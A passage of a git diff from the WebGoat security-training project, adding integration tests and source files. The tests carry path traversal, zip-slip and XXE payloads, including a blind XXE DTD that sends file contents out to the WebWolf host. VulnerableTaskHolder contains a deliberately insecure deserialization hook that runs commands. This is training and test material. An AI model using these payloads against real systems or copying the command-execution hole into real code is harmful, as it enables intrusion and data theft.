-    	clickForgotEmailLink(getWebgoatUser() + "@webgoat.org");
+    public void sendEmailShouldBeAvailableInWebWolf() {
+    	clickForgotEmailLink(this.getUser() + "@webgoat.org");
 
         var responseBody = RestAssured.given()
                 .when()
@@ -100,7 +96,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("WebWolf/requests"))
+                .get(webWolfUrl("/WebWolf/requests"))
                 .then()
                 .extract().response().getBody().asString();
         int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
@@ -111,7 +107,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
     private void clickForgotEmailLink(String user) {
         RestAssured.given()
                 .when()
-                .header("host", getWebWolfHostHeader())
+                .header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .formParams("email", user)

src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java

@@ -0,0 +1,137 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import lombok.SneakyThrows;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.junit.jupiter.api.io.TempDir;
+import org.springframework.security.core.token.Sha512DigestUtils;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Arrays;
+import java.util.Map;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipOutputStream;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+class PathTraversalIT extends IntegrationTest {
+
+    @TempDir
+    Path tempDir;
+
+    private File fileToUpload = null;
+
+    @BeforeEach
+    @SneakyThrows
+    public void init() {
+        fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
+        Files.write(fileToUpload.toPath(), "This is a test".getBytes());
+        startLesson("PathTraversal");
+    }
+
+    @TestFactory
+    Iterable<DynamicTest> testPathTraversal() {
+        return Arrays.asList(
+                dynamicTest("assignment 1 - profile upload", () -> assignment1()),
+                dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
+                dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
+                dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
+                dynamicTest("assignment 5 - zip slip", () -> assignment5())
+        );
+    }
+
+    private void assignment1() throws IOException {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+                        .param("fullName", "../John Doe")
+                        .post(url("/WebGoat/PathTraversal/profile-upload"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    private void assignment2() throws IOException {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+                        .param("fullNameFix", "..././John Doe")
+                        .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    private void assignment3() throws IOException {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+                        .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    private void assignment4() throws IOException {
+        var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
+        RestAssured.given().urlEncodingEnabled(false)
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url(uri))
+                .then()
+                .statusCode(200)
+                .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
+
+        checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
+                Sha512DigestUtils.shaHex(this.getUser())), true);
+    }
+
+    private void assignment5() throws IOException {
+        var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
+        webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
+
+        var webGoatDirectory = new File(webGoatHome);
+        var zipFile = new File(tempDir.toFile(), "upload.zip");
+        try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
+            ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
+            zos.putNextEntry(e);
+            zos.write("test".getBytes(StandardCharsets.UTF_8));
+        }
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
+                        .post(url("/WebGoat/PathTraversal/zip-slip"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    @AfterEach
+    void shutdown() {
+        //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
+        checkResults("/PathTraversal");
+    }
+}

src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java

@@ -2,7 +2,6 @@ package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
 import io.restassured.response.Response;
-import lombok.extern.log4j.Log4j;
 
 import org.assertj.core.api.Assertions;
 import org.junit.jupiter.api.Test;
@@ -16,7 +15,7 @@ import java.util.concurrent.Executors;
 import java.util.stream.Collectors;
 import java.util.stream.IntStream;
 
-public class ProgressRaceConditionTest extends IntegrationTest {
+public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
 
     @Test
     public void runTests() throws InterruptedException {
@@ -48,7 +47,7 @@ public class ProgressRaceConditionTest extends IntegrationTest {
                 throw new IllegalStateException(e);
             }
         }).count();
-        System.out.println("counted status 500: "+countStatusCode500);
+        System.err.println("counted status 500: "+countStatusCode500);
         Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
     }
 }

src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java

@@ -6,7 +6,7 @@ import java.util.Map;
 
 import org.junit.jupiter.api.Test;
 
-public class SSRFTest extends IntegrationTest {
+public class SSRFIntegrationTest extends IntegrationTest {
     
     @Test
     public void runTests() throws IOException {

src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java

@@ -0,0 +1,47 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2021 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source
+ * ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat;
+
+import java.util.Map;
+
+import org.junit.jupiter.api.Test;
+
+/**
+ *
+ * @author Angel Olle Blazquez
+ *
+ */
+
+class SessionManagementIT extends IntegrationTest {
+    
+    private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
+
+
+    @Test
+    void hijackSessionTest() {
+        startLesson("HijackSession");
+        
+        checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
+    }
+}

src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java

@@ -5,7 +5,7 @@ import java.util.Map;
 
 import org.junit.jupiter.api.Test;
 
-public class SqlInjectionAdvancedTest extends IntegrationTest {
+public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
 
     @Test
     public void runTests() {

src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java

@@ -5,7 +5,7 @@ import java.util.Map;
 
 import org.junit.jupiter.api.Test;
 
-public class SqlInjectionLessonTest extends IntegrationTest {
+public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
 
     public static final String sql_2 = "select department from employees where last_name='Franco'";
     public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
@@ -43,10 +43,6 @@ public class SqlInjectionLessonTest extends IntegrationTest {
         params.put("query", sql_4_add);
         checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
 
-        params.clear();
-        params.put("query", sql_4_drop);
-        checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, false);
-
         params.clear();
         params.put("query", sql_5);
         checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);

src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java

@@ -10,7 +10,7 @@ import org.junit.jupiter.api.Test;
 
 import static org.hamcrest.CoreMatchers.containsString;
 
-public class SqlInjectionMitigationTest extends IntegrationTest {
+public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
 
     @Test
     public void runTests() {
@@ -59,7 +59,7 @@ public class SqlInjectionMitigationTest extends IntegrationTest {
                 .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
                 .then()
                 .statusCode(500)
-                .body("trace", containsString("select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by"));
+                .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
 
         params.clear();
         params.put("ip", "104.130.219.202");

src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java

@@ -10,7 +10,7 @@ import org.junit.jupiter.api.Test;
 
 import io.restassured.RestAssured;
 
-public class WebWolfTest extends IntegrationTest {
+public class WebWolfIntegrationTest extends IntegrationTest {
     
     @Test
     public void runTests() throws IOException {
@@ -19,7 +19,7 @@ public class WebWolfTest extends IntegrationTest {
         //Assignment 3
         Map<String, Object> params = new HashMap<>();
         params.clear();
-        params.put("email", getWebgoatUser()+"@webgoat.org");
+        params.put("email", this.getUser()+"@webgoat.org");
         checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
         
         String responseBody = RestAssured.given()
@@ -31,7 +31,7 @@ public class WebWolfTest extends IntegrationTest {
                 .extract().response().getBody().asString();
         
         String uniqueCode = responseBody.replace("%20", " ");
-        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+getWebgoatUser().length()));
+        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
         params.clear();
         params.put("uniqueCode", uniqueCode);
         checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);

src/it/java/org/owasp/webgoat/XSSIntegrationTest.java

@@ -7,7 +7,7 @@ import java.util.Map;
 
 import org.junit.jupiter.api.Test;
 
-public class XSSTest extends IntegrationTest {
+public class XSSIntegrationTest extends IntegrationTest {
 
     
     @Test
@@ -16,7 +16,7 @@ public class XSSTest extends IntegrationTest {
 
         Map<String, Object> params = new HashMap<>();
         params.clear();
-        params.put("answer_xss_1", "yes");
+        params.put("checkboxAttack1", "value");
         checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
 
         params.clear();

src/it/java/org/owasp/webgoat/XXEIntegrationTest.java

@@ -1,35 +1,27 @@
 package org.owasp.webgoat;
 
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import org.junit.jupiter.api.Test;
+
 import java.io.IOException;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 
-import org.junit.jupiter.api.Test;
+public class XXEIntegrationTest extends IntegrationTest {
 
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-
-public class XXETest extends IntegrationTest {
-
-    private static final String xxe3 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
-    private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
-    private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
-    private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
+    private static final String xxe3 = """
+            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
+    private static final String xxe4 = """
+            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
+    private static final String dtd7 = """
+            <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
+    private static final String xxe7 = """
+            <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
 
     private String webGoatHomeDirectory;
-    private String webwolfFileDir;
-
-    @Test
-    public void runTests() throws IOException {
-        startLesson("XXE");
-        webGoatHomeDirectory = getWebGoatServerPath();
-        webwolfFileDir = getWebWolfServerPath();
-        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
-        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
-        checkResults("xxe/");
-    }
+    private String webWolfFileServerLocation;
 
     /*
      * This test is to verify that all is secure when XXE security patch is applied.
@@ -37,10 +29,15 @@ public class XXETest extends IntegrationTest {
     @Test
     public void xxeSecure() throws IOException {
         startLesson("XXE");
-        webGoatHomeDirectory = getWebGoatServerPath();
-        webwolfFileDir = getWebWolfServerPath();
-        RestAssured.given().when().relaxedHTTPSValidation()
-		.cookie("JSESSIONID", getWebGoatCookie()).get(url("/xxe/applysecurity"));
+        webGoatHomeDirectory = webGoatServerDirectory();
+        webWolfFileServerLocation = getWebWolfFileServerLocation();
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/enable-security.mvc"))
+                .then()
+                .statusCode(200);
         checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
         checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
         checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
@@ -54,11 +51,11 @@ public class XXETest extends IntegrationTest {
      */
     private String getSecret() throws IOException {
         //remove any left over DTD
-        Path webWolfFilePath = Paths.get(webwolfFileDir);
-        if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")).toFile().exists()) {
-            Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")));
+        Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
+        if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
+            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
         }
-        String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt");
+        String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
         String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
 
         //upload DTD
@@ -67,12 +64,12 @@ public class XXETest extends IntegrationTest {
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
                 .multiPart("file", "blind.dtd", dtd7String.getBytes())
-                .post(webWolfUrl("/WebWolf/fileupload"))
+                .post(webWolfUrl("/fileupload"))
                 .then()
                 .extract().response().getBody().asString();
         //upload attack
-        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser());
-        checkAssignment(url("/WebGoat/xxe/blind?send=test"), ContentType.XML, xxe7String, false);
+        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
 
         //read results from WebWolf
         String result = RestAssured.given()
@@ -84,8 +81,19 @@ public class XXETest extends IntegrationTest {
                 .extract().response().getBody().asString();
         result = result.replace("%20", " ");
         if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
-        	result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
+            result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
         }
         return result;
     }
+
+    @Test
+    public void runTests() throws IOException {
+        startLesson("XXE", true);
+        webGoatHomeDirectory = webGoatServerDirectory();
+        webWolfFileServerLocation = getWebWolfFileServerLocation();
+        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
+        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
+        checkResults("xxe/");
+    }
 }

src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java

@@ -0,0 +1,76 @@
+package org.dummy.insecure.framework;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
+import java.time.LocalDateTime;
+import lombok.extern.slf4j.Slf4j;
+
+@Slf4j
+// TODO move back to lesson
+public class VulnerableTaskHolder implements Serializable {
+
+  private static final long serialVersionUID = 2;
+
+  private String taskName;
+  private String taskAction;
+  private LocalDateTime requestedExecutionTime;
+
+  public VulnerableTaskHolder(String taskName, String taskAction) {
+    super();
+    this.taskName = taskName;
+    this.taskAction = taskAction;
+    this.requestedExecutionTime = LocalDateTime.now();
+  }
+
+  @Override
+  public String toString() {
+    return "VulnerableTaskHolder [taskName="
+        + taskName
+        + ", taskAction="
+        + taskAction
+        + ", requestedExecutionTime="
+        + requestedExecutionTime
+        + "]";
+  }
+
+  /**
+   * Execute a task when de-serializing a saved or received object.
+   *
+   * @author stupid develop
+   */
+  private void readObject(ObjectInputStream stream) throws Exception {
+    // unserialize data so taskName and taskAction are available
+    stream.defaultReadObject();
+
+    // do something with the data
+    log.info("restoring task: {}", taskName);
+    log.info("restoring time: {}", requestedExecutionTime);
+
+    if (requestedExecutionTime != null
+        && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
+            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
+      // do nothing is the time is not within 10 minutes after the object has been created
+      log.debug(this.toString());
+      throw new IllegalArgumentException("outdated");
+    }
+
+    // condition is here to prevent you from destroying the goat altogether
+    if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
+        && taskAction.length() < 22) {
+      log.info("about to execute: {}", taskAction);
+      try {
+        Process p = Runtime.getRuntime().exec(taskAction);
+        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line = null;
+        while ((line = in.readLine()) != null) {
+          log.info(line);
+        }
+      } catch (IOException e) {
+        log.error("IO Exception", e);
+      }
+    }
+  }
+}

src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java

@@ -0,0 +1,59 @@
+/**
+ * *************************************************************************************************
+ *
+ * <p>
+ *
+ * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ *
+ * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * <p>Getting Source ==============
+ *
+ * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ */
+package org.owasp.webgoat.container;
+
+import java.io.IOException;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import org.springframework.security.core.AuthenticationException;
+import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
+
+/**
+ * AjaxAuthenticationEntryPoint class.
+ *
+ * @author zupzup
+ */
+public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
+  public AjaxAuthenticationEntryPoint(String loginFormUrl) {
+    super(loginFormUrl);
+  }
+
+  @Override
+  public void commence(
+      HttpServletRequest request,
+      HttpServletResponse response,
+      AuthenticationException authException)
+      throws IOException, ServletException {
+    if (request.getHeader("x-requested-with") != null) {
+      response.sendError(401, authException.getMessage());
+    } else {
+      super.commence(request, response, authException);
+    }
+  }
+}

src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java

@@ -0,0 +1,172 @@
+/**
+ * ************************************************************************************************
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ *
+ * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * <p>Getting Source ==============
+ *
+ * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ *
+ * <p>
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since December 12, 2015
+ */
+package org.owasp.webgoat.container;
+
+import static org.asciidoctor.Asciidoctor.Factory.create;
+
+import io.undertow.util.Headers;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.StringWriter;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Set;
+import javax.servlet.http.HttpServletRequest;
+import lombok.extern.slf4j.Slf4j;
+import org.asciidoctor.Asciidoctor;
+import org.asciidoctor.extension.JavaExtensionRegistry;
+import org.owasp.webgoat.container.asciidoc.*;
+import org.owasp.webgoat.container.i18n.Language;
+import org.springframework.core.io.ResourceLoader;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+import org.springframework.web.servlet.i18n.SessionLocaleResolver;
+import org.thymeleaf.IEngineConfiguration;
+import org.thymeleaf.templateresolver.FileTemplateResolver;
+import org.thymeleaf.templateresource.ITemplateResource;
+import org.thymeleaf.templateresource.StringTemplateResource;
+
+/**
+ * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
+ *
+ * <p><code>
+ * <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
+ * </code>
+ */
+@Slf4j
+public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
+
+  private static final Asciidoctor asciidoctor = create();
+  private static final String PREFIX = "doc:";
+
+  private final Language language;
+  private final ResourceLoader resourceLoader;
+
+  public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) {
+    this.resourceLoader = resourceLoader;
+    this.language = language;
+    setResolvablePatterns(Set.of(PREFIX + "*"));
+  }
+
+  @Override
+  protected ITemplateResource computeTemplateResource(
+      IEngineConfiguration configuration,
+      String ownerTemplate,
+      String template,
+      String resourceName,
+      String characterEncoding,
+      Map<String, Object> templateResolutionAttributes) {
+    var templateName = resourceName.substring(PREFIX.length());
+    log.debug("template used: {}", templateName);
+    try (InputStream is = getInputStream(templateName)) {
+      JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
+      extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
+      extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
+      extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
+      extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
+      extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
+      extensionRegistry.inlineMacro("username", UsernameMacro.class);
+
+      StringWriter writer = new StringWriter();
+      asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
+      return new StringTemplateResource(writer.getBuffer().toString());
+    } catch (IOException e) {
+      return new StringTemplateResource(
+          "<div>Unable to find documentation for: " + templateName + " </div>");
+    }
+  }
+
+  private InputStream getInputStream(String templateName) throws IOException {
+    log.debug("locale: {}", language.getLocale().getLanguage());
+    String computedResourceName =
+        computeResourceName(templateName, language.getLocale().getLanguage());
+    if (resourceLoader
+        .getResource("classpath:/" + computedResourceName)
+        .isReadable() /*isFile()*/) {
+      log.debug("localized file exists");
+      return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream();
+    } else {
+      log.debug("using english template");
+      return resourceLoader.getResource("classpath:/" + templateName).getInputStream();
+    }
+  }
+
+  private String computeResourceName(String resourceName, String language) {
+    String computedResourceName;
+    if (language.equals("en")) {
+      computedResourceName = resourceName;
+    } else {
+      computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc"));
+    }
+    log.debug("computed local file name: {}", computedResourceName);
+    log.debug(
+        "file exists: {}",
+        resourceLoader.getResource("classpath:/" + computedResourceName).isReadable());
+    return computedResourceName;
+  }
+
+  private Map<String, Object> createAttributes() {
+    Map<String, Object> attributes = new HashMap<>();
+    attributes.put("source-highlighter", "coderay");
+    attributes.put("backend", "xhtml");
+    attributes.put("lang", determineLanguage());
+    attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
+
+    Map<String, Object> options = new HashMap<>();
+    options.put("attributes", attributes);
+
+    return options;
+  }
+
+  private String determineLanguage() {
+    HttpServletRequest request =
+        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
+
+    Locale browserLocale =
+        (Locale)
+            request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME);
+    if (null != browserLocale) {
+      log.debug("browser locale {}", browserLocale);
+      return browserLocale.getLanguage();
+    } else {
+      String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING);
+      if (null != langHeader) {
+        log.debug("browser locale {}", langHeader);
+        return langHeader.substring(0, 2);
+      } else {
+        log.debug("browser default english");
+        return "en";
+      }
+    }
+  }
+}

src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java

@@ -0,0 +1,67 @@
+package org.owasp.webgoat.container;
+
+import java.util.Map;
+import java.util.function.Function;
+import javax.sql.DataSource;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.flywaydb.core.Flyway;
+import org.owasp.webgoat.container.lessons.LessonScanner;
+import org.owasp.webgoat.container.service.RestartLessonService;
+import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Primary;
+import org.springframework.jdbc.datasource.DriverManagerDataSource;
+
+@Configuration
+@RequiredArgsConstructor
+@Slf4j
+public class DatabaseConfiguration {
+
+  private final DataSourceProperties properties;
+  private final LessonScanner lessonScanner;
+
+  @Bean
+  @Primary
+  public DataSource dataSource() {
+    DriverManagerDataSource dataSource = new DriverManagerDataSource();
+    dataSource.setDriverClassName(properties.getDriverClassName());
+    dataSource.setUrl(properties.getUrl());
+    dataSource.setUsername(properties.getUsername());
+    dataSource.setPassword(properties.getPassword());
+    return dataSource;
+  }
+
+  /**
